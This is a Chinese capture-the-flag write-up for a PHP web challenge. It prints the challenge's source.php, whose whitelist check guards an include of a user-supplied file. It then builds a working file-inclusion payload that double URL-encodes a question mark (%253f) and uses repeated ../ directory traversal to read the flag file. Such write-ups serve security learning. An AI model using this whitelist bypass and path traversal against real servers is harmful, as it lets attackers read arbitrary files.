F12发现希望我们查看source.php,查看源码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
分析代码,发现hint.php,打开后发现
因为flag在ffffllllaaaagggg中
为了读到ffffllllaaaagggg
可以加?file=source.php?/ffffllllaaaagggg
因为传入后服务器会自动解一次码
所以第二个问号要自己url加密一次
?file=source.php%3f/ffffllllaaaagggg
因为后来还会url解码一次
所以要对第二个问号还要加密一次
?file=source.php%253f/ffffllllaaaagggg
因为不知道ffffllllaaaagggg在哪个目录下,要进行目录穿越,返回上一级目录查看,用到../
?file=source.php%253f../../../../../ffffllllaaaagggg
注:一个../可能返回不到想要的文件,所以../尽量多一点
得到flag